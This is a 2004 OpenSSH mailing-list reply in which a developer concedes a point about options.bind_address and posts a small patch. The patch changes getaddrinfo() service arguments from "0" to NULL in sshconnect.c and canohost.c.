	<Pine.BSO.4.44.0404292120270.953-100000@etoh.eviladmin.org>
Message-ID: <20040430.113251.08250720.yoshfuji@linux-ipv6.org>

In article <Pine.BSO.4.44.0404292120270.953-100000 at etoh.eviladmin.org> (at Thu, 29 Apr 2004 21:24:36 -0500 (CDT)), Ben Lindstrom <mouring at etoh.eviladmin.org> says:

> > since options.bind_address may be NULL.
> > (Note: host and/or port must non-NULL.)
:
>  Tell me how options.bind_address can reach getaddrinfo() as null. As I
> see it there is no possible way it can happen.

(Mails are crossing..)
Correct. I was wrong. Sorry.

--- openssh-3.8.1p1/sshconnect.c	Tue Jan 27 19:21:27 2004
+++ openssh-3.8.1p1-fix/sshconnect.c	Fri Apr 30 11:24:48 2004
@@ -202,7 +202,7 @@
 	hints.ai_socktype = ai->ai_socktype;
 	hints.ai_protocol = ai->ai_protocol;
 	hints.ai_flags = AI_PASSIVE;
-	gaierr = getaddrinfo(options.bind_address, "0", &hints, &res);
+	gaierr = getaddrinfo(options.bind_address, NULL, &hints, &res);
 	if (gaierr) {
 		error("getaddrinfo: %s: %s", options.bind_address,
 		    gai_strerror(gaierr));
--- openssh-3.8.1p1/canohost.c	Wed Mar 31 14:17:54 2004
+++ openssh-3.8.1p1-fix/canohost.c	Fri Apr 30 11:25:03 2004
@@ -75,7 +75,7 @@
 	memset(&hints, 0, sizeof(hints));
 	hints.ai_socktype = SOCK_DGRAM;	/*dummy*/
 	hints.ai_flags = AI_NUMERICHOST;
-	if (getaddrinfo(name, "0", &hints, &ai) == 0) {
+	if (getaddrinfo(name, NULL, &hints, &ai) == 0) {
 		logit("Nasty PTR record \"%s\" is set up for %s, ignoring",
 		    name, ntop);
 		freeaddrinfo(ai);

--yoshfuji